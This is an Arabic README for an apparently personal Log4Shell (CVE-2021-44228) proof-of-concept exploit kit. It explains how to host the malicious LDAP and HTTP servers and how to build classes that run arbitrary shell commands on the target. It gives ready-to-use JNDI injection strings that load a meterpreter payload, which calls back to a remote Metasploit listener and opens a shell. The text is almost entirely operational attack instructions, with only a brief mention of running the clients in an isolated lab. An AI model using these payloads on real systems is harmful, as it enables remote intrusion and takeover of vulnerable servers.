
Log4Shell (Cve-2021-44228) إثبات المفهوم
إثبات المفهوم لثغرة Log4Shell (Cve-2021-44228)
هذا مشروع شخصي يشغّل نموذج إثبات مفهوم (POC) بسيطًا يستضيف خادم LDAP وخادم HTTP لاستغلال Log4Shell.
سيقوم run_servers.py بإعداد عميل meterpreter مصغّر يتصل مرة أخرى بمثيل Metasploit الممرَّر في طلب ldap. سيؤدي هذا إلى تشغيل مثيل meterpreter في سلسلة رسائل (thread) داخل العملية الأصلية المتأثرة باستغلال Log4Shell.
خادم LDAP مكتوب بلغة Java، وخادم HTTP مستضاف بلغة Python ويقدّم المحتوى من مجلد wwwroot منشأ حديثًا. يتطلب هذا الأمر java وjavac وmvn لبناء الاستغلالات واستضافة خادم LDAP. استخدمت Java 8.
Python3 مطلوب أيضًا.
شغّل: python3 run_servers.py <your_ip_address> <the_http_port> [ldap_port]
ثم مرّر سلسلة jndi إلى عميل قابل للاستغلال لتسجيلها، أي: إذا كان مضيفك 10.20.30.40 ومثيل metasploit الخاص بك هو 20.30.40.50 يستمع على المنفذ 4444، فسيبدو الأمر هكذا: '${jndi:ldap://10.20.30.40:1389/#MM:20.30.40.50:4444}'
يمكنك بناء أصناف (classes) ستشغّل برامج قابلة للتنفيذ على النظام المصدر. يمكنك الحصول على أوامر مختلفة للأنظمة المبنية على ويندوز أو لينكس. على سبيل المثال، لإنشاء صنف باسم TestCmd يشغّل الآلة الحاسبة على أنظمة ويندوز وFirefox على أنظمة لينكس، شغّل: python3 build_cmd.py TestCmd -w "Calc.exe" -l "firefox"
يمكن أن يكون لديك عدة أصناف مبنية مسبقًا. إذا لم تحدد أمرًا لنظام التشغيل الهدف، فلن يتم تنفيذ أي شيء. لاحظ أن هذه الأوامر تُنفَّذ عبر CMD \c "your command" على ويندوز و/bin/sh -c "your command" على لينكس.
لتشغيل الأمر أعلاه، استخدم اسم الصنف الذي أنشأته، أي: '${jndi:ldap://10.20.30.40:1389/#TestCmd'
ملف Payload.java هو ملف Meterpreter الكامل المُعدّ للتشغيل كسلسلة رسائل (thread) داخل العملية المستدعية التي تعاني من ثغرة log4shell. يجب تجميعه يدويًا ونقله إلى مجلد wwwroot. إضافة إلى ذلك، تحتاج إلى إعداد ملف metasploit.dat بالخصائص التي تحتاجها.
يحتوي مجلد clients على عميلين يمكن تنفيذهما. الأول برنامج سطر أوامر بسيط يكتب سجل خطأ لأي قيمة يتم تمريرها كأول معامل.
الثاني هو خادم ويب أساسي يكتب سجل خطأ باستخدام معلومات ترويسة log_me. لاحظ أنه يجب تشغيله في بيئة معزولة ومسيطر عليها.
انتقل إلى مجلد clients وشغّل ./build_clients.sh
من مجلد clients شغّل: java -cp target/l4sclients-1.0-SNAPSHOT-all.jar Log4jWebServer [Port_number]
من مجلد clients شغّل: java -cp target/l4sclients-1.0-SNAPSHOT-all.jar Log4jCmdLine '${jndi:ldap://127.0.0.1:1389/#MM:127.0.0.1:4444}'